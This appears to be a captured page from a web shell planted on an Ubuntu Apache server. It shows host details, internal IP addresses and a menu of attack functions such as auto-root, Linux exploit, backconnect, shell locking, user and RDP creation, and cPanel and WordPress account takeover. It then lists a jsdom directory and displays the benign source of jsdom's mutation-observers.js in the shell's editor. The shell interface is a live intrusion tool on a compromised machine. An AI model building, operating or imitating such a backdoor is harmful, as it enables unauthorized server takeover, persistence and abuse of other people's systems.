Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
jsdom /
lib /
jsdom /
living /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
svg
[ DIR ]
drwxr-xr-x
agent-factory.js
636
B
-rw-r--r--
binary-data.js
320
B
-rw-r--r--
create-element.js
9.91
KB
-rw-r--r--
create-event-accessor.js
5.68
KB
-rw-r--r--
custom-elements.js
7.51
KB
-rw-r--r--
dates-and-times.js
7.68
KB
-rw-r--r--
details.js
540
B
-rw-r--r--
document-base-url.js
1.84
KB
-rw-r--r--
events.js
717
B
-rw-r--r--
focusing.js
3.39
KB
-rw-r--r--
form-controls.js
10.08
KB
-rw-r--r--
html-constructor.js
2.75
KB
-rw-r--r--
http-request.js
7.85
KB
-rw-r--r--
internal-constants.js
386
B
-rw-r--r--
iterable-weak-set.js
1.13
KB
-rw-r--r--
json.js
346
B
-rw-r--r--
mutation-observers.js
5.31
KB
-rw-r--r--
namespaces.js
381
B
-rw-r--r--
node.js
1.29
KB
-rw-r--r--
number-and-date-inputs.js
6.71
KB
-rw-r--r--
ordered-set.js
2.04
KB
-rw-r--r--
page-transition-event.js
445
B
-rw-r--r--
runtime-script-errors.js
2.43
KB
-rw-r--r--
selectors.js
1.17
KB
-rw-r--r--
shadow-dom.js
6.69
KB
-rw-r--r--
strings.js
4.68
KB
-rw-r--r--
style-rules.js
3.6
KB
-rw-r--r--
stylesheets.js
4.09
KB
-rw-r--r--
text.js
542
B
-rw-r--r--
traversal.js
2.27
KB
-rw-r--r--
validate-names.js
2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mutation-observers.js
"use strict"; const { domSymbolTree } = require("./internal-constants"); const reportException = require("./runtime-script-errors"); const Event = require("../generated/Event"); const idlUtils = require("../generated/utils"); const MutationRecord = require("../generated/MutationRecord"); const MUTATION_TYPE = { ATTRIBUTES: "attributes", CHARACTER_DATA: "characterData", CHILD_LIST: "childList" }; // Note: // Since jsdom doesn't currently implement the concept of "unit of related similar-origin browsing contexts" // (https://html.spec.whatwg.org/multipage/browsers.html#unit-of-related-similar-origin-browsing-contexts) // we will approximate that the following properties are global for now. // https://dom.spec.whatwg.org/#mutation-observer-compound-microtask-queued-flag let mutationObserverMicrotaskQueueFlag = false; // Non-spec compliant: List of all the mutation observers with mutation records enqueued. It's a replacement for // mutation observer list (https://dom.spec.whatwg.org/#mutation-observer-list) but without leaking since it's empty // before notifying the mutation observers. const activeMutationObservers = new Set(); // https://dom.spec.whatwg.org/#signal-slot-list const signalSlotList = []; // https://dom.spec.whatwg.org/#queue-a-mutation-record function queueMutationRecord( type, target, name, namespace, oldValue, addedNodes, removedNodes, previousSibling, nextSibling ) { const interestedObservers = new Map(); const nodes = domSymbolTree.ancestorsToArray(target); for (const node of nodes) { for (const registered of node._registeredObserverList) { const { options, observer: mo } = registered; if ( !(node !== target && options.subtree === false) && !(type === MUTATION_TYPE.ATTRIBUTES && options.attributes !== true) && !(type === MUTATION_TYPE.ATTRIBUTES && options.attributeFilter && !options.attributeFilter.some(value => value === name || value === namespace)) && !(type === MUTATION_TYPE.CHARACTER_DATA && options.characterData !== true) && !(type === MUTATION_TYPE.CHILD_LIST && options.childList === false) ) { if (!interestedObservers.has(mo)) { interestedObservers.set(mo, null); } if ( (type === MUTATION_TYPE.ATTRIBUTES && options.attributeOldValue === true) || (type === MUTATION_TYPE.CHARACTER_DATA && options.characterDataOldValue === true) ) { interestedObservers.set(mo, oldValue); } } } } for (const [observer, mappedOldValue] of interestedObservers.entries()) { const record = MutationRecord.createImpl(target._globalObject, [], { type, target, attributeName: name, attributeNamespace: namespace, oldValue: mappedOldValue, addedNodes, removedNodes, previousSibling, nextSibling }); observer._recordQueue.push(record); activeMutationObservers.add(observer); } queueMutationObserverMicrotask(); } // https://dom.spec.whatwg.org/#queue-a-tree-mutation-record function queueTreeMutationRecord(target, addedNodes, removedNodes, previousSibling, nextSibling) { queueMutationRecord( MUTATION_TYPE.CHILD_LIST, target, null, null, null, addedNodes, removedNodes, previousSibling, nextSibling ); } // https://dom.spec.whatwg.org/#queue-an-attribute-mutation-record function queueAttributeMutationRecord(target, name, namespace, oldValue) { queueMutationRecord( MUTATION_TYPE.ATTRIBUTES, target, name, namespace, oldValue, [], [], null, null ); } // https://dom.spec.whatwg.org/#queue-a-mutation-observer-compound-microtask function queueMutationObserverMicrotask() { if (mutationObserverMicrotaskQueueFlag) { return; } mutationObserverMicrotaskQueueFlag = true; Promise.resolve().then(() => { notifyMutationObservers(); }); } // https://dom.spec.whatwg.org/#notify-mutation-observers function notifyMutationObservers() { mutationObserverMicrotaskQueueFlag = false; const notifyList = [...activeMutationObservers].sort((a, b) => a._id - b._id); activeMutationObservers.clear(); const signalList = [...signalSlotList]; signalSlotList.splice(0, signalSlotList.length); for (const mo of notifyList) { const records = [...mo._recordQueue]; mo._recordQueue = []; for (const node of mo._nodeList) { node._registeredObserverList = node._registeredObserverList.filter(registeredObserver => { return registeredObserver.source !== mo; }); } if (records.length > 0) { try { const moWrapper = idlUtils.wrapperForImpl(mo); mo._callback.call( moWrapper, records.map(idlUtils.wrapperForImpl), moWrapper ); } catch (e) { const { target } = records[0]; const window = target._ownerDocument._defaultView; reportException(window, e); } } } for (const slot of signalList) { const slotChangeEvent = Event.createImpl( slot._globalObject, [ "slotchange", { bubbles: true } ], { isTrusted: true } ); slot._dispatch(slotChangeEvent); } } module.exports = { MUTATION_TYPE, queueMutationRecord, queueTreeMutationRecord, queueAttributeMutationRecord, queueMutationObserverMicrotask, signalSlotList };
Close